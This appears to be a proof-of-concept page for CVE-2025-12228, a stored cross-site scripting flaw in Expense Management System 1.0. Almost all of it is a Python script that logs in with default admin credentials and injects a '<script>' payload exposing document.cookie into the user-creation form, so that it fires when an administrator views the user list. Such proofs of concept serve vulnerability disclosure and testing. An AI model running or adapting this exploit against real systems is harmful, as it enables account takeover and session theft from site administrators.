CVE-2025-12228 Expense Management System 1.0 XSS漏洞

# CVE-2025-12228 PoC - Expense Management System 1.0 XSS # Affected Component: /public/admin/users/create (Users Page) # Vulnerability Type: Stored XSS import requests import sys target_url = "http://target-server.com" login_url = f"{target_url}/login" create_user_url = f"{target_url}/public/admin/users/create" # Login with admin credentials session = requests.Session() login_data = { "username": "admin", "password": "admin123" } login_response = session.post(login_url, data=login_data) if login_response.status_code != 200: print("[-] Login failed") sys.exit(1) print("[+] Login successful") # XSS Payload - Inject malicious JavaScript in user creation form # The payload can be injected in any user field (name, email, etc.) xss_payload = "<script>alert(document.cookie)</script>" user_data = { "name": xss_payload, "email": "[email protected]", "username": "attacker_user", "password": "Password123!", "role": "user" } # Send the malicious request to create user create_response = session.post(create_user_url, data=user_data) if create_response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload: {xss_payload}") print("[+] When admin views user list, the XSS will be triggered") else: print("[-] Failed to inject payload")